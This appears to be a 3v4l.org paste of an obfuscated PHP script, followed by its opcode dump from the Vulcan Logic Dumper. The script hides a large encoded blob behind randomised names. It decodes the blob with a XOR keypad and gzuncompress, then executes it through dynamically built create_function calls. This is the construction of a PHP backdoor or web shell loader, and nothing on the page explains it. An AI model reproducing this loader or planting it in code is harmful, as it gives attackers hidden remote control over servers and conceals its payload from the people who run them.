3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ydjpzuqm=array( '$ydjpzuqm[0]=$ydjpzuqm[3];$wvyjrvkr=wvyjrvkr(7,13);$ydjpzuqm[0]=$wvyjrvkr($ydjpzuqm[2]);', '"$ydjpzuqm[2]=gzuncompress(wvyjrvkr(735,2155));', 'd0pZfWl+W3BjdVd1a3trdFl0ZGpabXljcWxZS3FseXBuZHRvZ3hJY3d5eWFnSW53amtQTkRFT0pOQVlDQlpWS0dNXVNsVE5KcGJjYXFraHhncWRkaVd1aXMrdGgyb2UgKSc2T05iRXJVc2E3dGd8NnY/ZUBmJj4gYmAwcEpqY0dhLjJpZWxteWZzcWJyYmVOZnxzY3RWcE1MTHNoeGNvYypvZ21keTh2Y2BwcjxmamhmdGlxIHtgemBmYCxuZW1iZG5ZWkNVXFNDVFByaXthcVdmZnhFaGcuKDhUWnpcU0NUXE5ORVJVVGpZdXZmZGE1Ml5yY2ZkcnY/d2d9aHkvcGNtc2VxUldNclFaP09JbEpGQkZRRlVVSVNXQnNKWklHREVNU1JeWEdITmpNWkVSUlZaWVJCVExFUWNmQStvV0k7Y3JyLHVpe1pFO3N6dCwoZ3locSZjfX16V3dzZnE7c3p0LChIVUMofnh6bGFFU0ZASkdpVnRAQlpUa0VASkdASlRQUHhRdE07c3p0YXd7a2JiXmJrdVRyemZWTGBqZ3RGRmdjdzpnbGh1c2hxJGNjeG1ocHREYWtjdzpnbGh1c2hxJHVyd2psSmpmcmhlZ2ZiXnJvd3hMQktzVDo6a3hjdXZmZGE1Ml5yY2ZkcnZzTE9nSmNIZ3NlYWJrXnFjcVR7dmBjVnBmY2Vqc2F1fmhLT2ZcU0NUXFN'.'SU1RaSlFWWlZTdVl3WVpWcjY5ZXFhZHhycGY4Y2NkQkJxNTlvcWNjZShmZHtNZXF2djM5Ymx0YHpvZm44cHtvO3BnKWBpb3BvYiVme2Q9fCloVVBibzJsKnlCMnMqdGt2J2Y7VjJxKlpnVEpQd3JlaFxVYn1pfnBuV01XRiVYfHNjdDkpLm1QU0dGMnAqYmRlZ2Jja3Nyb1VxSUFMMnAqZ3ZBWEZxf3Jnb1UycCp3aCZJQlJVJCc9JFRcaGRwOSZ4ZlNsS1k7bJuSXHhp69AU+iENV1tv0FXf0TiZvkxizGyobX0Gk61GkrHMmzM3Dh356wP2r92QyTJJGjrxLnZxc9XliA1AljwQdO6ENxw9szAWG9AsWVk7SMWeqbiSBuj4KeDhJIuOYBRxfaWqVs1vv5Gzmb0bc1NCpZ8zCIYPy64wVSCOuGi/PSbQqDX2oGCzfrUW40+x6ydLg+nY00wb2OPUbooUHVyJHkiYV5lURKwvD5VdtlcR5Ddc0Z9Tyf+r4ESOwJG4ox4ALnoh9Ms0G8RLtFrBLYnJOM'.'GkdWhKl387T1Wvt+qyrqxRg2m8jkj4ZvqX50edmK41DFNkkwSjS1x3gzKMYKOoI0lzvBexUYfzQ4+rlyuFaAkrtbVEb+QNrkYU2po2yUNOOna0PZtuWREVvGsig+cGRliDXNi9jipPNdSew1iGiVwF5jf4n85vt785igqIgQJQuK1IuS3Bz2rWqoHxrI8RBOMrIk8FnvWg/cFiE7Y/M19U7rvxRaPR9KHmiBPNLSYsMUAg2w10eYlSj/M8fg6JR/pW3qV/aeFU9BZ9G+xD4k+SdcpWxPyIHlpZ5yCEXx7bp/gUSZVkHPMiC5mBsXCakcUx0ciB/C9Dyitl7FaqeHDRw3mCyPXVQIUviFFMgJsH5dDCPvakG0FlZG3ijgWaW46uVJ7zzUzpVYfQ6RIcZ4lAypyn3Et488IM6NcWqA0lakk7X5gFqnvgpsk3PQ+XEjgbAZJ/LNgTkMV56ySo5Ynehv9t9E61aiKIrteiPmur9RV3RMY3sYV2Iw+ngnlVSp1Oy7H2CASi+HyzYxv6zEnkAtohNIAcac/NjEiymo6nYqhpJGDYmSj8elINgNyCVCDIfFuhq15bcqHyD8BirLRxA/S52cjWC7oR+lhj9zc9kfqwZ6LcfwQ7uptUOnu6M5YRoAiOaOxtjfAPd7SUd8yDMLzM1uI68dk5ZTFbdtZsTaTWDGFToGQFiVQZWUrSkiz9dOyw92eFY5/IXAyzMFO9YkwWh+0Ex2QxqQ6Nak/cWPMHH0AoO4CTemA20sIKFIeCf88F3vCY48ctER+nbn1ZTYlA6DLDbaW04U5lKKBrH7EtunvLhx2+gRI7LrrALKCquHBNbpHaNT7b5kenykpu82GZdCNFQR+yhmlrIMbUpmoYNOC04qle9zSGT/'.'0tZ5mAwpPDx4WmhG/3R8fZe3sbC2o96P89d255nHhk3MLenmsy3uxtzb/J/BL/ptsIlLvCssbNxyh303FPzT730w6DauoD6gqC1Pit44VKoSYJJhMqZv8Odv6ARvZjw+K9LUoJ/TLmutzpxVSRDh+AmtZDjTXwpqb/UEu7iLX6w+oJRFFN3eDp+pl0cQ6YALePYurRbBiM09bQcfwUiSXaVL11Y9A3YqAgBVsAbWq7TpFxX2uFq4FYbkMewcbOF8538dbvR2SNZKExa8mRpT/wUkwhAeXLt/Yl+lsIRrTAUjmZDkaaBLcJcMn1sActgKfbmuFKFh3N7PRstOJnXiB3zSclKKDEXIbjDos8Zmos9hcEi3yDT0wgAQjBIw9ATt7aRkAMrrhv3o/y9wYNg8UNKCPETXk341A+7NIeOcJp4AUzGszyqlktTft2nnybJKcLsvWwjJ7D7W+WOPwi6YlWxNYyiLPCzxmwmLkcG/2w/7gdVtVF62+087de1XzOXRdV07TjP/SUgtH1X+ydaeybElo3682+wvDQU63X+67O1vBStDumhrxlQ2b31n0Hn6geWUg1jWyoRfF3amturB0ROtLR0vLM29JOOFwduPlxh28rjp7UaKNAX6s2IuSGyHAwZmr/YoDOwGzufCUvGH1PDwJqFDhnF1PhrCy6Sf0PshUnWQtDQzlMt0hUrYl6WJXEKpOAQUQKg/RHLBKs3o2txYa3vditBZ54kO0i1w1/rxvV8ErZbCN3vWsNgshYRm8hwaWGK7KKSUG8cxk7gTGLjjUF21kljySO3Bn6Oh7ujwwHy+lhldhaCv89Lm6QoxQqkWEy5pCms6ZSJrgkLd63Wot8IOJQdsH0r2ObIwogBlsJKGw+T3QQ4BsRWi1zy03FmLwlgYap4H4F4edVB56hiHkqLmdafpgRO55HsVsPYp/TGpbIpMDB3PSc3qY8ltCka7bsNwY2aI/VR1YAktOkvXsHrsAujuvfKd5f30GEwH'.'qU477w1YfqWda5Bvp2GNF15t+eqGdU3HLfkO9WwHAHnUgL5M4T1aw+0JYNdNo56er2pGmfJ5qZ6R4Rnrf7UOzhoo0oyWknK7emIivP2u1ON8VmqBlmJqIkEWQhHV/SRLRKn8InDvd3eogQ0IhFFd3jgYElZUz2vnCIV9RDQeEgPprh/CVt/laD1pTeFWQnTXrrLTqyIFnbIyuoFhn4KTmJ6PYTULAWVL/VuGOCuxiz63iGd5x6JfmZ0koX2gKZhIVZFV9y8+Nj9fb34m0KFuYHxNHvGK9Wi7bozoIFErNiHMr7QA9+4Gl65Bnr+PUwwafo+DG+fgja2zRrUH7hjsBYCOrsZ59tuP5k6fLxWy54YPRfKSuLangzBnqbc8nrSXag2XqSOkV8UwFUygrWwUTn1fqXQQux6Uwx3ySsv3+P/L1lSCzCrCr0bQr8MDXj8SyqeLNY7zQZeyZVe3zyzAIebbT3GO3cvjgodj4ezoeXCqwCiAx4gUXwWoW/k6fBfrWoukdplCYeU5uAypBOYMDZcok8HiDla+UdDY8hxslJYg7Qo9vEPGe2Mxq8W3UG45i+/JHX9eRwB+7lGLzIkCYmsqR2htls96Z0BJcnVvvxDEaK/T0hgdPwPicCj3+hzWQqCLDNg68B++gpCipMOOlkqCmSyfYNRRW5H/Tznm8tDvSbrPgGccPl80x6', "/*dxdhq\x76\x66\x64\x61\x35\x32\x5e\x72\x63\x66\x64\x72\x76*/");$llxgwqo='create_'; if(function_exists($llxgwqo.='function')){ $llxgwqo('','}function wvyjrvkr($start,$text_len){$keypad=str_pad("",$text_len,"tgwdcfavfekvstbi");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($ydjpzuqm[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($rj=-1;++$rj<3;){ $ydjpzuqm[$rj]=$llxgwqo('','}'.$ydjpzuqm[$rj].'{'); }};unset($ydjpzuqm);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 25
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 22
Branch analysis from position: 22
2 jumps found. (Code = 44) Position 1 = 25, Position 2 = 13
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 25, Position 2 = 13
Branch analysis from position: 25
Branch analysis from position: 13
Branch analysis from position: 25
filename:       /in/evOt9
function name:  (null)
number of ops:  27
compiled vars:  !0 = $ydjpzuqm, !1 = $llxgwqo, !2 = $rj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->25
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+wvyjrvkr%28%24start%2C%24text_len%29%7B%24keypad%3Dstr_pad%28%22%22%2C%24text_len%2C%22tgwdcfavfekvstbi%22%29%3B%24lomask%3Dstr_repeat%28%22%5Cx1f%22%2C%24text_len%29%3B%24himask%3Dstr_repeat%28%22%5Cxe0%22%2C%24text_len%29%3B%24text+%3D+substr%28%24ydjpzuqm%5B0%5D%2C%24start%2C%24text_len%29%3Breturn%28%28%24text%5E%24keypad%29%26%24lomask%29%7C%28%24text%26%24himask%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->22
   10    13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~10     !0, !2
         16        CONCAT                                           ~11     '%7D', ~10
         17        CONCAT                                           ~12     ~11, '%7B'
         18        SEND_VAL_EX                                              ~12
         19        DO_FCALL                                      0  $13     
         20        ASSIGN_DIM                                               !0, !2
         21        OP_DATA                                                  $13
    9    22    >   PRE_INC                                          ~14     !2
         23        IS_SMALLER                                               ~14, 3
         24      > JMPNZ                                                    ~15, ->13
   11    25    >   UNSET_CV                                                 !0
         26      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
155.31 ms | 1396 KiB | 15 Q